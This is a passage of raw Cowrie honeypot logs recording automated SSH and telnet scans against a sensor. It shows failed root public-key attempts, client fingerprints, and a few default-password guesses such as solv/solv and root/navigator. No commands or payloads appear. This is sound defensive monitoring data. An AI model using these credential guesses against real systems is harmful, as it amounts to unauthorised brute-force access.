{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:5f:f6:10:83:36:dd:cf:98:fe:b1:70:d9:ac:22:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLGNz6bDIXr2pjZa2Pge2PtQSEvTt//7yNkN9GXKjwCqRspk3cOwpoHfE6J4J9VD1DHxEpRYmsZFJWnOw4yZ7dlYt7aA+KFEku4vfNgf12fKAKiaZ3fhffJhhqAHeu366Ey91SToP4IkuPYjN8qOjiPz8Xp/18wMGAWk2tRMVMrTIzFjG6Sm+RDz1P5wD3AEUedJvvr7p8COfr+DDkKDelmDVLGksqBgcHz09bC+EA2UgEnljvfldNYGKtyDwY0HgxHVvcA9p6g3gs6c0w/TpNPT57bKUezm3gB2E3JE1MliPhNiK+RZOnMSbTMXWiQWDvtDZe7h4zU4htpNIr77hN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:5f:f6:10:83:36:dd:cf:98:fe:b1:70:d9:ac:22:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.027097Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:5f:f6:10:83:36:dd:cf:98:fe:b1:70:d9:ac:22:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLGNz6bDIXr2pjZa2Pge2PtQSEvTt//7yNkN9GXKjwCqRspk3cOwpoHfE6J4J9VD1DHxEpRYmsZFJWnOw4yZ7dlYt7aA+KFEku4vfNgf12fKAKiaZ3fhffJhhqAHeu366Ey91SToP4IkuPYjN8qOjiPz8Xp/18wMGAWk2tRMVMrTIzFjG6Sm+RDz1P5wD3AEUedJvvr7p8COfr+DDkKDelmDVLGksqBgcHz09bC+EA2UgEnljvfldNYGKtyDwY0HgxHVvcA9p6g3gs6c0w/TpNPT57bKUezm3gB2E3JE1MliPhNiK+RZOnMSbTMXWiQWDvtDZe7h4zU4htpNIr77hN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.031373Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:86:af:34:6f:20:ad:55:f2:57:b2:9f:24:eb:04:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIfXkpC3ZQYlCpWCLL2Tp2lwoQK6sLNz2Vb6T8K5lulgBQvxpg1C2lmo/gfOstz8NhR//UgqmZLkkBNUXmGxCqnuRQggNTl+NHWYyuMa886WHVbaCYPv/ijJHXYBJE5MPnn9fo5LLFVB/ukr96HvV3D4A5gf0XsLQAI09elAOUctxZaFXAjAKrQBu69ixyr3v9sIZubNM0ru24ypZn4c4JZ9UIxs4fbii4z3TnU/gFu79TRbzWx45fbs19CoI9iPprUFl72yHuSN32++TWCCYJghe2Jc8j3hKnss4ph0r6eskK1M+xiIXtDz/Lq8yf/krGFBKqATQQnRYQTAqtwpvB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:86:af:34:6f:20:ad:55:f2:57:b2:9f:24:eb:04:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.116350Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:86:af:34:6f:20:ad:55:f2:57:b2:9f:24:eb:04:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIfXkpC3ZQYlCpWCLL2Tp2lwoQK6sLNz2Vb6T8K5lulgBQvxpg1C2lmo/gfOstz8NhR//UgqmZLkkBNUXmGxCqnuRQggNTl+NHWYyuMa886WHVbaCYPv/ijJHXYBJE5MPnn9fo5LLFVB/ukr96HvV3D4A5gf0XsLQAI09elAOUctxZaFXAjAKrQBu69ixyr3v9sIZubNM0ru24ypZn4c4JZ9UIxs4fbii4z3TnU/gFu79TRbzWx45fbs19CoI9iPprUFl72yHuSN32++TWCCYJghe2Jc8j3hKnss4ph0r6eskK1M+xiIXtDz/Lq8yf/krGFBKqATQQnRYQTAqtwpvB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.124058Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:d9:68:72:05:40:e7:37:50:03:59:52:1f:02:0d:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvif/8jSTB9EdH8pJwBJ/ejYA5Slcqp51JNJw9L3tWSOBDK2Q+p+rSrylVDtgkjpyAYvLdiFtPETJLILLCtYGIJ3A54qtkzrnjWW9s1N06wFLdhISjOOfGadT4h6ns8C+8zGeh8jEScSK7xN3WBnVjHfol6uN1Szix4DFJStLQ9w/dbM5OsSbBwyui2Mom1wD6fGo5wo4U1Hr0s1PuiBpVouP5TB+8RCsPh6AMuxsQlxPkj86Ikt8jTLv1DrjdV9vpK2kG1dmiytoaGF/yMvk73+PnILx69X0350rsbcYBVO/ghMXIkdf19Cpn+sAESUK8vNsaGrrJS6/p/fSjwkEJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:d9:68:72:05:40:e7:37:50:03:59:52:1f:02:0d:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.209559Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:d9:68:72:05:40:e7:37:50:03:59:52:1f:02:0d:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvif/8jSTB9EdH8pJwBJ/ejYA5Slcqp51JNJw9L3tWSOBDK2Q+p+rSrylVDtgkjpyAYvLdiFtPETJLILLCtYGIJ3A54qtkzrnjWW9s1N06wFLdhISjOOfGadT4h6ns8C+8zGeh8jEScSK7xN3WBnVjHfol6uN1Szix4DFJStLQ9w/dbM5OsSbBwyui2Mom1wD6fGo5wo4U1Hr0s1PuiBpVouP5TB+8RCsPh6AMuxsQlxPkj86Ikt8jTLv1DrjdV9vpK2kG1dmiytoaGF/yMvk73+PnILx69X0350rsbcYBVO/ghMXIkdf19Cpn+sAESUK8vNsaGrrJS6/p/fSjwkEJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.214012Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:65:90:9f:9a:50:58:11:32:c3:16:e8:a4:ec:da:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9CYpVUkKEGzKHKE2+8txNyeS7blySSBDiYLZXhiVN5V9mAXsbeLSEJCUVRy78F2Hy0dh6+CPhKrv3h8NmbTSdknL9GtKjK6685eJiGw0Wrjk+5eA15VEY9SCdZseIHGMwEzZ6kHaQE3br8AtrfqaQ/mXWcjb2ZfjQyeb9v8xUbqI/d5IOxHLRm106oPof8PXBS1j4cDhF8qH601GroTvg0YCEjp/aUGshaQXXTavbKC8jp1dwLEsx4GVn+BBx2GkAACoSJwVLqse7/ITbX5AsA68aCWFxAHm+gAMaQV+P1krI0q/4wXNEng73RtxkfS6jnBaoTK40Ll7QBvMeHGOn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:65:90:9f:9a:50:58:11:32:c3:16:e8:a4:ec:da:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.299402Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:65:90:9f:9a:50:58:11:32:c3:16:e8:a4:ec:da:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9CYpVUkKEGzKHKE2+8txNyeS7blySSBDiYLZXhiVN5V9mAXsbeLSEJCUVRy78F2Hy0dh6+CPhKrv3h8NmbTSdknL9GtKjK6685eJiGw0Wrjk+5eA15VEY9SCdZseIHGMwEzZ6kHaQE3br8AtrfqaQ/mXWcjb2ZfjQyeb9v8xUbqI/d5IOxHLRm106oPof8PXBS1j4cDhF8qH601GroTvg0YCEjp/aUGshaQXXTavbKC8jp1dwLEsx4GVn+BBx2GkAACoSJwVLqse7/ITbX5AsA68aCWFxAHm+gAMaQV+P1krI0q/4wXNEng73RtxkfS6jnBaoTK40Ll7QBvMeHGOn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.302991Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":34386,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2ae6a773db7","protocol":"telnet","message":"New connection: 23.94.28.189:34386 (10.17.0.5:23) [session: e2ae6a773db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.325682Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:86:4d:96:e3:57:97:1f:54:a8:0a:c3:4a:62:68:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCudnYiW7bpwmkKM+pp5KOIG51akn9+tXpb0llh3JHx/dFNvE+iiAP8fkBXugJFYVXL9gwcBorFms7v4nfT+gliMedhOf8mUMV5RDSOKxynZpPZoZCgetSJqW1P51RQ09Gu1NDq2fzOpwsyBmTWBqwZ2CsX/AvUM26lkFXD5I9os3W+1czl9LbSQPH27Dqj+S3vsmqiIUS8kr2OMd2xl7vDNYtNmghCfuMHq3wrPK9XL7V7+I8zZadga2A+ACSQjwa9Ja3s2GcDG5koeP0O2g1zXzqX9J+1/wRjYb35Edg9cj2nopOdRrhuoUNo+c3I/XrpByqXY5L1IaKWTgSqiPM7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:86:4d:96:e3:57:97:1f:54:a8:0a:c3:4a:62:68:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.386973Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:86:4d:96:e3:57:97:1f:54:a8:0a:c3:4a:62:68:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCudnYiW7bpwmkKM+pp5KOIG51akn9+tXpb0llh3JHx/dFNvE+iiAP8fkBXugJFYVXL9gwcBorFms7v4nfT+gliMedhOf8mUMV5RDSOKxynZpPZoZCgetSJqW1P51RQ09Gu1NDq2fzOpwsyBmTWBqwZ2CsX/AvUM26lkFXD5I9os3W+1czl9LbSQPH27Dqj+S3vsmqiIUS8kr2OMd2xl7vDNYtNmghCfuMHq3wrPK9XL7V7+I8zZadga2A+ACSQjwa9Ja3s2GcDG5koeP0O2g1zXzqX9J+1/wRjYb35Edg9cj2nopOdRrhuoUNo+c3I/XrpByqXY5L1IaKWTgSqiPM7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.390972Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:29.474967Z","src_ip":"109.236.86.20","session":"82401c14331e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42888,"dst_ip":"10.17.0.5","dst_port":23,"session":"d56f0314c3ff","protocol":"telnet","message":"New connection: 50.6.8.71:42888 (10.17.0.5:23) [session: d56f0314c3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:49.710841Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":40302,"dst_ip":"10.17.0.5","dst_port":23,"session":"baf2eb41a4d1","protocol":"telnet","message":"New connection: 23.94.28.189:40302 (10.17.0.5:23) [session: baf2eb41a4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:58.774533Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54066,"dst_ip":"159.203.135.109","dst_port":22,"session":"e97502f6ea0f","protocol":"ssh","message":"New connection: 80.94.92.184:54066 (159.203.135.109:22) [session: e97502f6ea0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:59.569903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:59.687467Z","src_ip":"80.94.92.184","session":"e97502f6ea0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:50:59.770499Z","src_ip":"80.94.92.184","session":"e97502f6ea0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:51:00.395913Z","src_ip":"80.94.92.184","session":"e97502f6ea0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:51:01.596850Z","src_ip":"80.94.92.184","session":"e97502f6ea0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.971505880355835,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:51:06.297049Z","src_ip":"23.94.28.189","session":"e2ae6a773db7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.6648063659668,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:51:22.375535Z","src_ip":"50.6.8.71","session":"d56f0314c3ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58034,"dst_ip":"10.17.0.5","dst_port":22,"session":"007826928ef6","protocol":"ssh","message":"New connection: 2.57.122.238:58034 (10.17.0.5:22) [session: 007826928ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:51:35.915012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:51:35.919639Z","src_ip":"2.57.122.238","session":"007826928ef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:51:36.024655Z","src_ip":"2.57.122.238","session":"007826928ef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:51:36.339961Z","src_ip":"2.57.122.238","session":"007826928ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:51:37.448554Z","src_ip":"2.57.122.238","session":"007826928ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.0220513343811,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:51:37.796445Z","src_ip":"23.94.28.189","session":"baf2eb41a4d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52498,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f7c049dc1f0","protocol":"telnet","message":"New connection: 50.6.8.71:52498 (10.17.0.5:23) [session: 9f7c049dc1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:51:48.585752Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46072,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff6d182fa784","protocol":"telnet","message":"New connection: 50.6.8.71:46072 (10.17.0.5:23) [session: ff6d182fa784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:52:18.476483Z"}
{"eventid":"cowrie.session.closed","duration":31.40142583847046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:52:19.987025Z","src_ip":"50.6.8.71","session":"9f7c049dc1f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":58698,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ec93b295c56","protocol":"ssh","message":"New connection: 87.251.79.125:58698 (159.203.135.109:22) [session: 2ec93b295c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:52:30.697546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:52:30.702458Z","src_ip":"87.251.79.125","session":"2ec93b295c56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:52:30.773669Z","src_ip":"87.251.79.125","session":"2ec93b295c56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"navigator","message":"login attempt [root/navigator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:52:30.991740Z","src_ip":"87.251.79.125","session":"2ec93b295c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:52:32.065888Z","src_ip":"87.251.79.125","session":"2ec93b295c56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.92696213722229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:52:49.403334Z","src_ip":"50.6.8.71","session":"ff6d182fa784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.220.57.39","src_port":50665,"dst_ip":"159.203.135.109","dst_port":23,"session":"9281becbb435","protocol":"telnet","message":"New connection: 79.220.57.39:50665 (159.203.135.109:23) [session: 9281becbb435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:53:29.728584Z"}
{"eventid":"cowrie.session.closed","duration":13.664201259613037,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:53:43.392687Z","src_ip":"79.220.57.39","session":"9281becbb435","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":36414,"dst_ip":"10.17.0.5","dst_port":22,"session":"d78a77f6ae2d","protocol":"ssh","message":"New connection: 2.57.122.238:36414 (10.17.0.5:22) [session: d78a77f6ae2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:53:54.224497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:53:54.229122Z","src_ip":"2.57.122.238","session":"d78a77f6ae2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 